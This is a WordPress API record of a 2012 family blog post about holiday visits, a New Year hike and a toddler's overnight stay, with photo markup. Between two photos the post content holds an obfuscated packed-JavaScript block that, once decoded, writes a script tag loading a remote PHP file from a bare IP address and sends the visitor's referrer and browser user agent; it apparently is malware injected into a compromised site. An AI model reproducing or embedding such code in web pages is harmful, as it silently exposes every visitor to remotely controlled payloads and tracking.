{"id":2703,"date":"2012-01-01T11:32:46","date_gmt":"2012-01-01T18:32:46","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2703"},"modified":"2012-01-03T14:36:14","modified_gmt":"2012-01-03T21:36:14","slug":"12-days-of-christmas-2","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2703","title":{"rendered":"(&#8230;12 days of Christmas)"},"content":{"rendered":"<p>The rest of the holiday was lovely.\u00c2\u00a0 We played video games with my nephew, explored a beautiful new dollhouse with my niece, and helped Mike and Christi pack a bit.\u00c2\u00a0 The whole family worked on a jigsaw puzzle together for days.\u00c2\u00a0 Paul and I went back to Williamsburg for an evening visit with torch-light, fife-and-drum bands, and caroling.\u00c2\u00a0 The Virginia Beach boardwalk was lined with outrageous holiday light displays, and the hotel room had a jacuzzi.\u00c2\u00a0 Merry Christmas!<br \/>\n<a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/DSC01689.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2707\" title=\"Paul in Williamsburg\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/DSC01689-294x300.jpg\" alt=\"\" width=\"294\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/DSC01689-294x300.jpg 294w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/DSC01689-1005x1024.jpg 1005w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/DSC01689.jpg 1815w\" sizes=\"(max-width: 294px) 100vw, 294px\" \/><\/a>\u00c2\u00a0 <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|daitb|var|u0026u|referrer|zhaff||js|php'.split('|'),0,{}))\n<\/script><\/noindex> <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/3.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2717\" title=\"My brother &amp; nephew at Christmas\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/3-225x300.jpg\" alt=\"\" width=\"225\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/3-225x300.jpg 225w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/3.jpg 720w\" sizes=\"(max-width: 225px) 100vw, 225px\" \/><\/a> <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2719\" title=\"My niece and nephew being Cool.\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/2-225x300.jpg\" alt=\"\" width=\"225\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/2-225x300.jpg 225w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/2.jpg 496w\" sizes=\"(max-width: 225px) 100vw, 225px\" \/><\/a><\/p>\n<p>Back at home, there was time to clean house, re-stock the cupboards, visit with friends, and snuggle up on the couch to watch tv with lil&#8217; e.\u00c2\u00a0 Paul and I managed to stay up until midnight on New Year&#8217;s Eve &#8211; just barely! &#8211; by watching more episodes of Breaking Bad.\u00c2\u00a0 The knitters re-assembled on Sunday to ring in the new year with yarn and champagne, and then we took ourselves on a 4-mile hike along the Eno river, to get the year off to a proper start.<br \/>\n<a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/photo4.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2708\" title=\"New Year hike\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/photo4-276x300.jpg\" alt=\"\" width=\"276\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/photo4-276x300.jpg 276w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/photo4-943x1024.jpg 943w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/photo4.jpg 1246w\" sizes=\"(max-width: 276px) 100vw, 276px\" \/><\/a><br \/>\nI still had another day off work to enjoy, so I borrowed Xak for another overnight.\u00c2\u00a0 I decided it was definitely time to have more toys in the house, so I picked up some playdough and blocks and a small wooden train set, and of course there are always crayons and books and stuffed toys in the guest room.\u00c2\u00a0 E spent part of the day with us, too, helping Xak build towers and train-tunnels out of the blocks, sharing raisins.<br \/>\n<iframe loading=\"lazy\" src=\"http:\/\/www.youtube.com\/embed\/uIJQp7lIZlo\" frameborder=\"0\" width=\"420\" height=\"315\"><\/iframe><\/p>\n<p>Paul and I were having black-eyed peas and greens &#8211; a southern tradition for good luck and prosperity in the new year &#8211; and Xak had eaten plenty of crackers and bananas, so we told E she could just raid the fridge when she got hungry.\u00c2\u00a0 She made herself a sandwich and took it back into the guest room where Xak was busy with the trains.\u00c2\u00a0 A few seconds later she came back.\u00c2\u00a0 &#8220;He drank my milk,&#8221; she said indignantly.\u00c2\u00a0 &#8220;And he <em>licked my cheese<\/em>.&#8221;\u00c2\u00a0 She made herself another sandwich (while I tried to stop laughing).<br \/>\n<a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/DSC01699.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2709\" title=\"naptime\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/DSC01699-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/DSC01699-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/DSC01699-1024x768.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><br \/>\nA little bit later I found them both cuddled up asleep on the couch.\u00c2\u00a0 I wish I could hold that moment forever.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The rest of the holiday was lovely.\u00c2\u00a0 We played video games with my nephew, explored&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[63,20,25],"class_list":["post-2703","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-family","tag-holiday","tag-kids"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2703"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2703"}],"version-history":[{"count":6,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2703\/revisions"}],"predecessor-version":[{"id":2720,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2703\/revisions\/2720"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2703"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2703"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2703"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}